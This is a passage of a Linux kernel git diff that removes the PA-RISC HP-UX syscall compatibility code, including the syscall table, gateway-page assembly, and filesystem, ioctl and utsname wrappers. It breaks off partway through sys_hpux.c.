-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 395 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 400 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 405 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 410 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 415 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 420 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 425 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 430 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 435 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 440 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 445 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 450 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 455 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 460 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 465 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 470 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 475 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 480 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 485 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 490 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 495 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 500 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 505 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)      /* 510 */
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-	ENTRY_NAME(hpux_unimplemented_wrapper)
-END(hpux_call_table)
-.end
-
diff --git a/arch/parisc/hpux/fs.c b/arch/parisc/hpux/fs.c
deleted file mode 100644
index 97a7bf8..0000000
--- a/arch/parisc/hpux/fs.c
+++ /dev/null
@@ -1,192 +0,0 @@
-/*
- *    Implements HPUX syscalls.
- *
- *    Copyright (C) 1999 Matthew Wilcox <willy with parisc-linux.org>
- *    Copyright (C) 2000 Michael Ang <mang with subcarrier.org>
- *    Copyright (C) 2000 John Marvin <jsm with parisc-linux.org>
- *    Copyright (C) 2000 Philipp Rumpf
- *
- *    This program is free software; you can redistribute it and/or modify
- *    it under the terms of the GNU General Public License as published by
- *    the Free Software Foundation; either version 2 of the License, or
- *    (at your option) any later version.
- *
- *    This program is distributed in the hope that it will be useful,
- *    but WITHOUT ANY WARRANTY; without even the implied warranty of
- *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *    GNU General Public License for more details.
- *
- *    You should have received a copy of the GNU General Public License
- *    along with this program; if not, write to the Free Software
- *    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
- */
-
-#include <linux/kernel.h>
-#include <linux/mm.h>
-#include <linux/fs.h>
-#include <linux/sched.h>
-#include <linux/file.h>
-#include <linux/ptrace.h>
-#include <linux/slab.h>
-#include <asm/errno.h>
-#include <asm/uaccess.h>
-
-int hpux_execve(struct pt_regs *regs)
-{
-	return  do_execve(getname((const char __user *) regs->gr[26]),
-			  (const char __user *const __user *) regs->gr[25],
-			  (const char __user *const __user *) regs->gr[24]);
-}
-
-struct hpux_dirent {
-	loff_t	d_off;
-	ino_t	d_ino;
-	short	d_reclen;
-	short	d_namlen;
-	char	d_name[1];
-};
-
-struct getdents_callback {
-	struct dir_context ctx;
-	struct hpux_dirent __user *current_dir;
-	struct hpux_dirent __user *previous;
-	int count;
-	int error;
-};
-
-#define NAME_OFFSET(de) ((int) ((de)->d_name - (char __user *) (de)))
-
-static int filldir(struct dir_context *ctx, const char *name, int namlen,
-		   loff_t offset, u64 ino, unsigned d_type)
-{
-	struct hpux_dirent __user * dirent;
-	struct getdents_callback *buf =
-		container_of(ctx, struct getdents_callback, ctx);
-	ino_t d_ino;
-	int reclen = ALIGN(NAME_OFFSET(dirent) + namlen + 1, sizeof(long));
-
-	buf->error = -EINVAL;	/* only used if we fail.. */
-	if (reclen > buf->count)
-		return -EINVAL;
-	d_ino = ino;
-	if (sizeof(d_ino) < sizeof(ino) && d_ino != ino) {
-		buf->error = -EOVERFLOW;
-		return -EOVERFLOW;
-	}
-	dirent = buf->previous;
-	if (dirent)
-		if (put_user(offset, &dirent->d_off))
-			goto Efault;
-	dirent = buf->current_dir;
-	if (put_user(d_ino, &dirent->d_ino) ||
-	    put_user(reclen, &dirent->d_reclen) ||
-	    put_user(namlen, &dirent->d_namlen) ||
-	    copy_to_user(dirent->d_name, name, namlen) ||
-	    put_user(0, dirent->d_name + namlen))
-		goto Efault;
-	buf->previous = dirent;
-	buf->current_dir = (void __user *)dirent + reclen;
-	buf->count -= reclen;
-	return 0;
-Efault:
-	buf->error = -EFAULT;
-	return -EFAULT;
-}
-
-#undef NAME_OFFSET
-
-int hpux_getdents(unsigned int fd, struct hpux_dirent __user *dirent, unsigned int count)
-{
-	struct fd arg;
-	struct hpux_dirent __user * lastdirent;
-	struct getdents_callback buf = {
-		.ctx.actor = filldir,
-		.current_dir = dirent,
-		.count = count
-	};
-	int error;
-
-	arg = fdget(fd);
-	if (!arg.file)
-		return -EBADF;
-
-	error = iterate_dir(arg.file, &buf.ctx);
-	if (error >= 0)
-		error = buf.error;
-	lastdirent = buf.previous;
-	if (lastdirent) {
-		if (put_user(buf.ctx.pos, &lastdirent->d_off))
-			error = -EFAULT;
-		else
-			error = count - buf.count;
-	}
-
-	fdput(arg);
-	return error;
-}
-
-int hpux_mount(const char *fs, const char *path, int mflag,
-		const char *fstype, const char *dataptr, int datalen)
-{
-	return -ENOSYS;
-}
-
-static int cp_hpux_stat(struct kstat *stat, struct hpux_stat64 __user *statbuf)
-{
-	struct hpux_stat64 tmp;
-
-	/* we probably want a different split here - is hpux 12:20? */
-
-	if (!new_valid_dev(stat->dev) || !new_valid_dev(stat->rdev))
-		return -EOVERFLOW;
-
-	memset(&tmp, 0, sizeof(tmp));
-	tmp.st_dev = new_encode_dev(stat->dev);
-	tmp.st_ino = stat->ino;
-	tmp.st_mode = stat->mode;
-	tmp.st_nlink = stat->nlink;
-	tmp.st_uid = from_kuid_munged(current_user_ns(), stat->uid);
-	tmp.st_gid = from_kgid_munged(current_user_ns(), stat->gid);
-	tmp.st_rdev = new_encode_dev(stat->rdev);
-	tmp.st_size = stat->size;
-	tmp.st_atime = stat->atime.tv_sec;
-	tmp.st_mtime = stat->mtime.tv_sec;
-	tmp.st_ctime = stat->ctime.tv_sec;
-	tmp.st_blocks = stat->blocks;
-	tmp.st_blksize = stat->blksize;
-	return copy_to_user(statbuf,&tmp,sizeof(tmp)) ? -EFAULT : 0;
-}
-
-long hpux_stat64(const char __user *filename, struct hpux_stat64 __user *statbuf)
-{
-	struct kstat stat;
-	int error = vfs_stat(filename, &stat);
-
-	if (!error)
-		error = cp_hpux_stat(&stat, statbuf);
-
-	return error;
-}
-
-long hpux_fstat64(unsigned int fd, struct hpux_stat64 __user *statbuf)
-{
-	struct kstat stat;
-	int error = vfs_fstat(fd, &stat);
-
-	if (!error)
-		error = cp_hpux_stat(&stat, statbuf);
-
-	return error;
-}
-
-long hpux_lstat64(const char __user *filename,
-		  struct hpux_stat64 __user *statbuf)
-{
-	struct kstat stat;
-	int error = vfs_lstat(filename, &stat);
-
-	if (!error)
-		error = cp_hpux_stat(&stat, statbuf);
-
-	return error;
-}
diff --git a/arch/parisc/hpux/gate.S b/arch/parisc/hpux/gate.S
deleted file mode 100644
index 0114688..0000000
--- a/arch/parisc/hpux/gate.S
+++ /dev/null
@@ -1,107 +0,0 @@
-/*
- *
- * Linux/PARISC Project (http://www.parisc-linux.org/)
- *
- * System call entry code Copyright (c) Matthew Wilcox 1999 <willy@bofh.ai>
- * Licensed under the GNU GPL.
- * thanks to Philipp Rumpf, Mike Shaver and various others
- * sorry about the wall, puffin..
- */
-
-#include <asm/assembly.h>
-#include <asm/asm-offsets.h>
-#include <asm/unistd.h>
-#include <asm/errno.h>
-#include <linux/linkage.h>
-
-	.level	LEVEL
-	.text
-
-	.import hpux_call_table
-	.import hpux_syscall_exit,code
-
-	.align	PAGE_SIZE
-ENTRY(hpux_gateway_page)
-	nop
-#ifdef CONFIG_64BIT
-#warning NEEDS WORK for 64-bit
-#endif
-	ldw     -64(%r30), %r29                 ;! 8th argument
-	ldw	-60(%r30), %r19			;! 7th argument
-	ldw	-56(%r30), %r20			;! 6th argument
-	ldw	-52(%r30), %r21			;! 5th argument
-	gate	.+8, %r0			/* become privileged */
-	mtsp	%r0,%sr4			/* get kernel space into sr4 */
-	mtsp	%r0,%sr5			/* get kernel space into sr5 */
-	mtsp	%r0,%sr6			/* get kernel space into sr6 */
-	mfsp    %sr7,%r1                        /* save user sr7 */
-	mtsp    %r1,%sr3                        /* and store it in sr3 */
-
-	mtctl   %r30,%cr28
-	mfctl   %cr30,%r1
-	xor     %r1,%r30,%r30                   /* ye olde xor trick */
-	xor     %r1,%r30,%r1
-	xor     %r1,%r30,%r30
-	ldo     TASK_SZ_ALGN+FRAME_SIZE(%r30),%r30  /* set up kernel stack */
-
-	/* N.B.: It is critical that we don't set sr7 to 0 until r30
-	 *       contains a valid kernel stack pointer. It is also
-	 *       critical that we don't start using the kernel stack
-	 *       until after sr7 has been set to 0.
-	 */
-
-	mtsp	%r0,%sr7			/* get kernel space into sr7 */
-	STREG   %r1,TASK_PT_GR30-TASK_SZ_ALGN-FRAME_SIZE(%r30) /* save usp */
-	ldo     -TASK_SZ_ALGN-FRAME_SIZE(%r30),%r1   /* get task ptr in %r1 */
-
-	/* Save some registers for sigcontext and potential task
-	   switch (see entry.S for the details of which ones are
-	   saved/restored).  TASK_PT_PSW is zeroed so we can see whether
-	   a process is on a syscall or not.  For an interrupt the real
-	   PSW value is stored.  This is needed for gdb and sys_ptrace. */
-	STREG	%r0,  TASK_PT_PSW(%r1)
-	STREG	%r2,  TASK_PT_GR2(%r1)		/* preserve rp */
-	STREG   %r19, TASK_PT_GR19(%r1)         /* 7th argument */
-	STREG   %r20, TASK_PT_GR20(%r1)         /* 6th argument */
-	STREG   %r21, TASK_PT_GR21(%r1)         /* 5th argument */
-	STREG   %r22, TASK_PT_GR22(%r1)         /* syscall # */
-	STREG	%r23, TASK_PT_GR23(%r1)		/* 4th argument */
-	STREG	%r24, TASK_PT_GR24(%r1)		/* 3rd argument */
-	STREG	%r25, TASK_PT_GR25(%r1)		/* 2nd argument */
-	STREG	%r26, TASK_PT_GR26(%r1)	 	/* 1st argument */
-	STREG	%r27, TASK_PT_GR27(%r1)		/* user dp */
-	STREG   %r28, TASK_PT_GR28(%r1)         /* return value 0 */
-	STREG   %r0, TASK_PT_ORIG_R28(%r1)     /* don't prohibit restarts */
-	STREG   %r29, TASK_PT_GR29(%r1)         /* 8th argument */
-	STREG	%r31, TASK_PT_GR31(%r1)		/* preserve syscall return ptr */
-	
-	ldo	TASK_PT_FR0(%r1), %r27		/* save fpregs from the kernel */
-	save_fp	%r27				/* or potential task switch  */
-
-	mfctl	%cr11, %r27			/* i.e. SAR */
-	STREG	%r27, TASK_PT_SAR(%r1)
-
-	loadgp
-
-	stw	%r21, -52(%r30)			;! 5th argument
-	stw	%r20, -56(%r30)			;! 6th argument
-	stw	%r19, -60(%r30)			;! 7th argument
-	stw     %r29, -64(%r30)                 ;! 8th argument
-
-	ldil	L%hpux_call_table, %r21
-	ldo	R%hpux_call_table(%r21), %r21
-	comiclr,>>=	__NR_HPUX_syscalls, %r22, %r0
-	b,n	syscall_nosys
-	LDREGX	%r22(%r21), %r21
-	ldil	L%hpux_syscall_exit,%r2
-	be	0(%sr7,%r21)
-	ldo	R%hpux_syscall_exit(%r2),%r2
-
-syscall_nosys:
-	ldil	L%hpux_syscall_exit,%r1
-	be	R%hpux_syscall_exit(%sr7,%r1)
-	ldo	-ENOSYS(%r0),%r28
-ENDPROC(hpux_gateway_page)
-
-	.align	PAGE_SIZE
-ENTRY(end_hpux_gateway_page)
diff --git a/arch/parisc/hpux/ioctl.c b/arch/parisc/hpux/ioctl.c
deleted file mode 100644
index dede476..0000000
--- a/arch/parisc/hpux/ioctl.c
+++ /dev/null
@@ -1,72 +0,0 @@
-/*
- *    Implements some necessary HPUX ioctls.
- *
- *    Copyright (C) 1999-2002 Matthew Wilcox <willy with parisc-linux.org>
- *
- *    This program is free software; you can redistribute it and/or modify
- *    it under the terms of the GNU General Public License as published by
- *    the Free Software Foundation; either version 2 of the License, or
- *    (at your option) any later version.
- *
- *    This program is distributed in the hope that it will be useful,
- *    but WITHOUT ANY WARRANTY; without even the implied warranty of
- *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *    GNU General Public License for more details.
- *
- *    You should have received a copy of the GNU General Public License
- *    along with this program; if not, write to the Free Software
- *    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
- */
-
-/*
- * Supported ioctls:
- *   TCGETA
- *   TCSETA
- *   TCSETAW
- *   TCSETAF
- *   TCSBRK
- *   TCXONC
- *   TCFLSH
- *   TIOCGWINSZ
- *   TIOCSWINSZ
- *   TIOCGPGRP
- *   TIOCSPGRP
- */
-
-#include <linux/sched.h>
-#include <linux/syscalls.h>
-#include <asm/errno.h>
-#include <asm/ioctl.h>
-#include <asm/termios.h>
-#include <asm/uaccess.h>
-
-static int hpux_ioctl_t(int fd, unsigned long cmd, unsigned long arg)
-{
-	int result = -EOPNOTSUPP;
-	int nr = _IOC_NR(cmd);
-	switch (nr) {
-	case 106:
-		result = sys_ioctl(fd, TIOCSWINSZ, arg);
-		break;
-	case 107:
-		result = sys_ioctl(fd, TIOCGWINSZ, arg);
-		break;
-	}
-	return result;
-}
-
-int hpux_ioctl(int fd, unsigned long cmd, unsigned long arg)
-{
-	int result = -EOPNOTSUPP;
-	int type = _IOC_TYPE(cmd);
-	switch (type) {
-	case 'T':
-		/* Our structures are now compatible with HPUX's */
-		result = sys_ioctl(fd, cmd, arg);
-		break;
-	case 't':
-		result = hpux_ioctl_t(fd, cmd, arg);
-		break;
-	}
-	return result;
-}
diff --git a/arch/parisc/hpux/sys_hpux.c b/arch/parisc/hpux/sys_hpux.c
deleted file mode 100644
index e5c4da0..0000000
--- a/arch/parisc/hpux/sys_hpux.c
+++ /dev/null
@@ -1,963 +0,0 @@
-/*
- *    Implements HPUX syscalls.
- *
- *    Copyright (C) 1999 Matthew Wilcox <willy with parisc-linux.org>
- *    Copyright (C) 2000 Philipp Rumpf
- *    Copyright (C) 2000 John Marvin <jsm with parisc-linux.org>
- *    Copyright (C) 2000 Michael Ang <mang with subcarrier.org>
- *    Copyright (C) 2001 Nathan Neulinger <nneul at umr.edu>
- *
- *    This program is free software; you can redistribute it and/or modify
- *    it under the terms of the GNU General Public License as published by
- *    the Free Software Foundation; either version 2 of the License, or
- *    (at your option) any later version.
- *
- *    This program is distributed in the hope that it will be useful,
- *    but WITHOUT ANY WARRANTY; without even the implied warranty of
- *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *    GNU General Public License for more details.
- *
- *    You should have received a copy of the GNU General Public License
- *    along with this program; if not, write to the Free Software
- *    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
- */
-
-#include <linux/capability.h>
-#include <linux/file.h>
-#include <linux/fs.h>
-#include <linux/namei.h>
-#include <linux/sched.h>
-#include <linux/slab.h>
-#include <linux/syscalls.h>
-#include <linux/utsname.h>
-#include <linux/vfs.h>
-#include <linux/vmalloc.h>
-
-#include <asm/errno.h>
-#include <asm/pgalloc.h>
-#include <asm/uaccess.h>
-
-unsigned long hpux_brk(unsigned long addr)
-{
-	/* Sigh.  Looks like HP/UX libc relies on kernel bugs. */
-	return sys_brk(addr + PAGE_SIZE);
-}
-
-int hpux_sbrk(void)
-{
-	return -ENOSYS;
-}
-
-/* Random other syscalls */
-
-int hpux_nice(int priority_change)
-{
-	return -ENOSYS;
-}
-
-int hpux_ptrace(void)
-{
-	return -ENOSYS;
-}
-
-int hpux_wait(int __user *stat_loc)
-{
-	return sys_waitpid(-1, stat_loc, 0);
-}
-
-int hpux_setpgrp(void)
-{
-	return sys_setpgid(0,0);
-}
-
-int hpux_setpgrp3(void)
-{
-	return hpux_setpgrp();
-}
-
-#define _SC_CPU_VERSION	10001
-#define _SC_OPEN_MAX	4
-#define CPU_PA_RISC1_1	0x210
-
-int hpux_sysconf(int which)
-{
-	switch (which) {
-	case _SC_CPU_VERSION:
-		return CPU_PA_RISC1_1;
-	case _SC_OPEN_MAX:
-		return INT_MAX;
-	default:
-		return -EINVAL;
-	}
-}
-
-/*****************************************************************************/
-
-#define HPUX_UTSLEN 9
-#define HPUX_SNLEN 15
-
-struct hpux_utsname {
-	char sysname[HPUX_UTSLEN];
-	char nodename[HPUX_UTSLEN];
-	char release[HPUX_UTSLEN];
-	char version[HPUX_UTSLEN];
-	char machine[HPUX_UTSLEN];
-	char idnumber[HPUX_SNLEN];
-} ;
-
-struct hpux_ustat {
-	int32_t		f_tfree;	/* total free (daddr_t)  */
-	u_int32_t	f_tinode;	/* total inodes free (ino_t)  */
-	char		f_fname[6];	/* filsys name */
-	char		f_fpack[6];	/* filsys pack name */
-	u_int32_t	f_blksize;	/* filsys block size (int) */
-};
-
-/*
- * HPUX's utssys() call.  It's a collection of miscellaneous functions,
- * alas, so there's no nice way of splitting them up.
- */
-
-/*  This function is called from hpux_utssys(); HP-UX implements
- *  ustat() as an option to utssys().
- *
- *  Now, struct ustat on HP-UX is exactly the same as on Linux, except
- *  that it contains one addition field on the end, int32_t f_blksize.
- *  So, we could have written this function to just call the Linux
- *  sys_ustat(), (defined in linux/fs/super.c), and then just
- *  added this additional field to the user's structure.  But I figure
- *  if we're gonna be digging through filesystem structures to get
- *  this, we might as well just do the whole enchilada all in one go.
- *
- *  So, most of this function is almost identical to sys_ustat().
- *  I have placed comments at the few lines changed or added, to
- *  aid in porting forward if and when sys_ustat() is changed from
- *  its form in kernel 2.2.5.
- */
-static int hpux_ustat(dev_t dev, struct hpux_ustat __user *ubuf)
-{
-	struct hpux_ustat tmp;  /* Changed to hpux_ustat */
-	struct kstatfs sbuf;
-	int err = vfs_ustat(dev, &sbuf);
-	if (err)
-		goto out;
-
-	memset(&tmp,0,sizeof(tmp));
-
-	tmp.f_tfree = (int32_t)sbuf.f_bfree;
-	tmp.f_tinode = (u_int32_t)sbuf.f_ffree;
-	tmp.f_blksize = (u_int32_t)sbuf.f_bsize;  /*  Added this line  */
-
-	err = copy_to_user(ubuf, &tmp, sizeof(tmp)) ? -EFAULT : 0;
-out:
-	return err;
-}
-
-/*
- * Wrapper for hpux statfs call. At the moment, just calls the linux native one
- * and ignores the extra fields at the end of the hpux statfs struct.
- *
- */
-
-typedef int32_t hpux_fsid_t[2];              /* file system ID type */
-typedef uint16_t hpux_site_t;
-
-struct hpux_statfs {
-     int32_t f_type;                    /* type of info, zero for now */
-     int32_t f_bsize;                   /* fundamental file system block size */
-     int32_t f_blocks;                  /* total blocks in file system */
-     int32_t f_bfree;                   /* free block in fs */
-     int32_t f_bavail;                  /* free blocks avail to non-superuser */
-     int32_t f_files;                   /* total file nodes in file system */
-     int32_t f_ffree;                   /* free file nodes in fs */
-     hpux_fsid_t  f_fsid;                    /* file system ID */
-     int32_t f_magic;                   /* file system magic number */
-     int32_t f_featurebits;             /* file system features */
-     int32_t f_spare[4];                /* spare for later */
-     hpux_site_t  f_cnode;                   /* cluster node where mounted */
-     int16_t f_pad;
-};
-
-static int do_statfs_hpux(struct kstatfs *st, struct hpux_statfs __user *p)
-{
-	struct hpux_statfs buf;
-	memset(&buf, 0, sizeof(buf));
-	buf.f_type = st->f_type;
-	buf.f_bsize = st->f_bsize;
-	buf.f_blocks = st->f_blocks;
-	buf.f_bfree = st->f_bfree;
-	buf.f_bavail = st->f_bavail;
-	buf.f_files = st->f_files;
-	buf.f_ffree = st->f_ffree;
-	buf.f_fsid[0] = st->f_fsid.val[0];
-	buf.f_fsid[1] = st->f_fsid.val[1];
-	if (copy_to_user(p, &buf, sizeof(buf)))
-		return -EFAULT;
-	return 0;
-}
-
-/* hpux statfs */
-asmlinkage long hpux_statfs(const char __user *pathname,
-						struct hpux_statfs __user *buf)
-{
-	struct kstatfs st;
-	int error = user_statfs(pathname, &st);
-	if (!error)
-		error = do_statfs_hpux(&st, buf);
-	return error;
-}
-
-asmlinkage long hpux_fstatfs(unsigned int fd, struct hpux_statfs __user * buf)
-{
-	struct kstatfs st;
-	int error = fd_statfs(fd, &st);
-	if (!error)
-		error = do_statfs_hpux(&st, buf);
-	return error;
-}
-
-
-/*  This function is called from hpux_utssys(); HP-UX implements
- *  uname() as an option to utssys().
- *
- *  The form of this function is pretty much copied from sys_olduname(),
- *  defined in linux/arch/i386/kernel/sys_i386.c.
- */
-/*  TODO: Are these put_user calls OK?  Should they pass an int?
- *        (I copied it from sys_i386.c like this.)
- */
-static int hpux_uname(struct hpux_utsname __user *name)
-{
-	int error;
-
-	if (!name)
-		return -EFAULT;
-	if (!access_ok(VERIFY_WRITE,name,sizeof(struct hpux_utsname)))
-		return -EFAULT;
-
-	down_read(&uts_sem);
-
-	error = __copy_to_user(&name->sysname, &utsname()->sysname,
-			       HPUX_UTSLEN - 1);
-	error |= __put_user(0, name->sysname + HPUX_UTSLEN - 1);
-	error |= __copy_to_user(&name->nodename, &utsname()->nodename,
-				HPUX_UTSLEN - 1);
-	error |= __put_user(0, name->nodename + HPUX_UTSLEN - 1);
-	error |= __copy_to_user(&name->release, &utsname()->release,
-				HPUX_UTSLEN - 1);
-	error |= __put_user(0, name->release + HPUX_UTSLEN - 1);
-	error |= __copy_to_user(&name->version, &utsname()->version,
-				HPUX_UTSLEN - 1);
-	error |= __put_user(0, name->version + HPUX_UTSLEN - 1);
-	error |= __copy_to_user(&name->machine, &utsname()->machine,
-				HPUX_UTSLEN - 1);
-	error |= __put_user(0, name->machine + HPUX_UTSLEN - 1);
-
-	up_read(&uts_sem);
-
-	/*  HP-UX  utsname has no domainname field.  */
-
-	/*  TODO:  Implement idnumber!!!  */
-#if 0
-	error |= __put_user(0,name->idnumber);
-	error |= __put_user(0,name->idnumber+HPUX_SNLEN-1);
-#endif
-
-	error = error ? -EFAULT : 0;
-
-	return error;
-}
-
-/*  Note: HP-UX just uses the old suser() function to check perms
- *  in this system call.  We'll use capable(CAP_SYS_ADMIN).
- */
-int hpux_utssys(char __user *ubuf, int n, int type)
-{
-	int len;
-	int error;
-	switch( type ) {
-	case 0:
-		/*  uname():  */
-		return hpux_uname((struct hpux_utsname __user *)ubuf);
-		break ;
-	case 1:
-		/*  Obsolete (used to be umask().)  */
-		return -EFAULT ;
-		break ;
-	case 2:
-		/*  ustat():  */
-		return hpux_ustat(new_decode_dev(n),
-				  (struct hpux_ustat __user *)ubuf);
-		break;
-	case 3:
-		/*  setuname():
-		 *
-		 *  On linux (unlike HP-UX), utsname.nodename
-		 *  is the same as the hostname.
-		 *
-		 *  sys_sethostname() is defined in linux/kernel/sys.c.
-		 */
-		if (!capable(CAP_SYS_ADMIN))
-			return -EPERM;
-		/*  Unlike Linux, HP-UX returns an error if n==0:  */
-		if ( n <= 0 )
-			return -EINVAL ;
-		/*  Unlike Linux, HP-UX truncates it if n is too big:  */
-		len = (n <= __NEW_UTS_LEN) ? n : __NEW_UTS_LEN ;
-		return sys_sethostname(ubuf, len);
-		break ;
-	case 4:
-		/*  sethostname():
-		 *
-		 *  sys_sethostname() is defined in linux/kernel/sys.c.
-		 */
-		if (!capable(CAP_SYS_ADMIN))
-			return -EPERM;
-		/*  Unlike Linux, HP-UX returns an error if n==0:  */
-		if ( n <= 0 )
-			return -EINVAL ;
-		/*  Unlike Linux, HP-UX truncates it if n is too big:  */
-		len = (n <= __NEW_UTS_LEN) ? n : __NEW_UTS_LEN ;
-		return sys_sethostname(ubuf, len);
-		break ;
-	case 5:
-		/*  gethostname():
-		 *
-		 *  sys_gethostname() is defined in linux/kernel/sys.c.
-		 */
-		/*  Unlike Linux, HP-UX returns an error if n==0:  */
-		if ( n <= 0 )
-			return -EINVAL ;
-		return sys_gethostname(ubuf, n);
-		break ;
-	case 6:
-		/*  Supposedly called from setuname() in libc.
-		 *  TODO: When and why is this called?
-		 *        Is it ever even called?
-		 *
-		 *  This code should look a lot like sys_sethostname(),
-		 *  defined in linux/kernel/sys.c.  If that gets updated,
-		 *  update this code similarly.
